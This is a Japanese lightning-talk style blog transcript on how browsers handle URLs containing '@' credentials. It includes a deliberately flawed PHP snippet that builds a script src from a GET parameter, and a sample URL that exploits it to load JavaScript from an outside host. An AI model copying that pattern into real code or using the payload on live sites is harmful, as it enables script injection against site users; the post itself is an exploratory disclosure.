ltっぽくブログを書いてみるテスト
DESCRIPTION
@が付いたURLって面白いですねTRANSCRIPT
LTっぽくブログを書いてみるテスト
山本洋介山
@yousukezan
自己紹介
• カリスマノーワーカー
• たまに原稿とかも書いています
• 普段の仕事はブラウザ間のドラッグ&ドロップ
• だいたいは寝てます
普段の仕事のドラッグアンドドロップ
• 場所をミスるとエラー
慌てて戻ると入力してたページが消える
• 入力してたページと違う!!
Firefoxのバグ!?
• こいつは困った
• 入力してたページが消えるのは困る
• ミスすんなって話は聞かない
• どんなときに起きるのか調査しないと!
いろいろ試す
• bogusならhttp://www.bogus.jp/を開く
• bogus jp(半角空き)だとエラー!!!!
• http://bogus.jp/とかちゃんとしたURLをドラッグアンドドロップすればそこが開く
• http://bogus.jp/だとhttp://http.com/を開く
ここまでは前振り
マジで!?
たまたま@の入ったURLを試す
• http://[email protected]/
みたいなURL
• @の付いたURLはRFC的には全くもって正しい
• @の前は認証に使う文字列なのでbogus.jpへアクセス
• FirefoxだとこのURLへのアクセスはフィッシングの疑いがあると警告がでる
• Chrome的にはこのURLは素通し
• IEは読まない
ややこしいURL
• http://[email protected]/みたいにするとややこしい
• とはいえURL的にはhttp://bogus.jp/に行くのが常識でしょ
• それはともかく前の方のドメインに向かう前提のプログラムとかあるかもね
前の方のドメインに向かう前提のプログラムを考えてみた
• <?php$base="http://bogus.jp";echo '<script src="'.htmlspecialchars($base.$_GET["file"]).'"></script>';?>
間抜けなプログラム
• http://bogus.jp/scriptsrcxss.php?file=/base.js
みたいに外部JSを読み込む間抜けなプログラム
• htmlspecialchars でXSS対策も万全なはず(いい加減)
• 実際には存在しない…はず
スクリプト読み込めるんじゃね?
• http://bogus.jp/[email protected]/x
• みたいなURLでhttp://packetmonster.com/x
が読み込まれるんじゃね?
警告もなくスクリプトを読み込む
なぜ?
• 生成されるURLが<script src="http://[email protected]/x"></script>となるんだからhttp://bogus.jp/xが読まれてあたりまえ。何か問題でも?• 残念ながら/が入ると読まれないので注意• http://packetmonster.com/php/@bogus.jp/xみたいなのはダメ
MozillaとGoogleに聞いてみた
• こんなURLで警告なく読み込めるのってブラウザが悪くね?
• 返信:プログラムが悪いんじゃクソボケ!(意訳)
• これもまあ想定通り(URL的には正しいもんね)
結論
• こんな間抜けなコード書く人はいないと思いますが、こんなことも起きるんですね
• 実際にこんなプログラムがあると面白いので誰か教えてください
• phperにとっては常識的なのかもしれません(;´Д`)
終わり
• LTっぽくブログを書いてみました
• 最後までお読みいただきありがとうございました